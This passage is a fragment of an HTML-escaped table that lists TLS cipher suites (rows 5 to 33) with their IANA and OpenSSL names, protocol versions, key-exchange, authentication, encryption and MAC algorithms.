&lt;tr&gt;&lt;td&gt;&lt;strong&gt;5&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-RSA-AES256-GCM-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;6&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_RSA_WITH_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-RSA-AES256-GCM-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;7&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-ECDSA-CHACHA20-POLY1305&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;8&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-RSA-CHACHA20-POLY1305&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;9&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-RSA-CHACHA20-POLY1305&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;10&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-ECDSA-AES128-GCM-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;11&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-RSA-AES128-GCM-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;12&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_RSA_WITH_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-RSA-AES128-GCM-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;13&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-ECDSA-AES256-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;14&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-RSA-AES256-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;15&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_RSA_WITH_AES_256_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-RSA-AES256-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;16&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-ECDSA-AES128-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;17&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-RSA-AES128-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;18&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_RSA_WITH_AES_128_CBC_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-RSA-AES128-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;19&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-ECDSA-AES256-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;20&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-RSA-AES256-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;21&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_RSA_WITH_AES_256_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-RSA-AES256-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;22&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-ECDSA-AES128-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;23&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-RSA-AES128-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;24&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_RSA_WITH_AES_128_CBC_SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-RSA-AES128-SHA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SSLv3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;25&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA_PSK_WITH_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA-PSK-AES256-GCM-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSAPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;26&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE_PSK_WITH_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-PSK-AES256-GCM-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;27&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA-PSK-CHACHA20-POLY1305&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSAPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;28&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHE-PSK-CHACHA20-POLY1305&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;29&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-PSK-CHACHA20-POLY1305&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHEPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;30&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_RSA_WITH_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AES256-GCM-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;31&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK_WITH_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK-AES256-GCM-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;32&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_PSK_WITH_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK-CHACHA20-POLY1305&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;PSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;33&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA_PSK_WITH_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA-PSK-AES128-GCM-SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSAPSK&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;RSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
